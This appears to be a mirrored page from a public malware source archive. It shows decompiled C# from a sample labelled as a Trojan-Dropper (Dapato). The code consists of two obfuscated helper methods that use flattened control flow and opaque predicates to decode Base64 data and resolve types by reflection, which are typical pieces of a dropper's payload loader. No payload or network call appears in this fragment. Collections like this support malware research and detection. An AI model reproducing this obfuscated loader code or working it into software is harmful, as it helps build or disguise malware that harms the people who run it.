mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
103 lines
2.4 KiB
C#
103 lines
2.4 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: T.u
|
|
// Assembly: UrsPolar, Version=7.2.7601.17514, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 67EDF525-B056-42AE-8D77-FE5C3159DA7F
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.axbp-61a79edd67db3057ede46b8b866ae6d16ddaa97a400505b6b08bad839b175e0b.exe
|
|
|
|
using System;
|
|
using System.Reflection;
|
|
using System.Runtime.InteropServices;
|
|
|
|
namespace T
|
|
{
|
|
internal sealed class u
|
|
{
|
|
internal sealed class T
|
|
{
|
|
internal static byte[] f([In] string obj0, [In] int obj1, [In] int obj2)
|
|
{
|
|
label_3:
|
|
int num1;
|
|
switch (obj2 ^ obj1)
|
|
{
|
|
case 122:
|
|
num1 = 6;
|
|
break;
|
|
default:
|
|
num1 = 2;
|
|
break;
|
|
}
|
|
int num2 = num1;
|
|
while (true)
|
|
{
|
|
switch (num2)
|
|
{
|
|
case 0:
|
|
case 1:
|
|
num2 = 5;
|
|
continue;
|
|
case 2:
|
|
case 4:
|
|
case 7:
|
|
num2 = 5;
|
|
continue;
|
|
case 5:
|
|
goto label_3;
|
|
case 6:
|
|
goto label_8;
|
|
default:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle = __methodref (u.T.f);
|
|
num2 = 5;
|
|
continue;
|
|
}
|
|
}
|
|
label_8:
|
|
return Convert.FromBase64String(obj0);
|
|
}
|
|
|
|
internal static Type E([In] Assembly obj0, [In] string obj1, [In] int obj2, [In] int obj3)
|
|
{
|
|
label_3:
|
|
int num1;
|
|
switch (obj3 ^ obj2)
|
|
{
|
|
case 65:
|
|
num1 = 4;
|
|
break;
|
|
default:
|
|
num1 = 3;
|
|
break;
|
|
}
|
|
int num2 = num1;
|
|
while (true)
|
|
{
|
|
switch (num2)
|
|
{
|
|
case 0:
|
|
case 7:
|
|
num2 = 6;
|
|
continue;
|
|
case 1:
|
|
case 4:
|
|
goto label_8;
|
|
case 2:
|
|
case 3:
|
|
num2 = 6;
|
|
continue;
|
|
case 6:
|
|
goto label_3;
|
|
default:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle = __methodref (u.T.E);
|
|
num2 = 6;
|
|
continue;
|
|
}
|
|
}
|
|
label_8:
|
|
return obj0.GetType(obj1);
|
|
}
|
|
}
|
|
}
|
|
}
|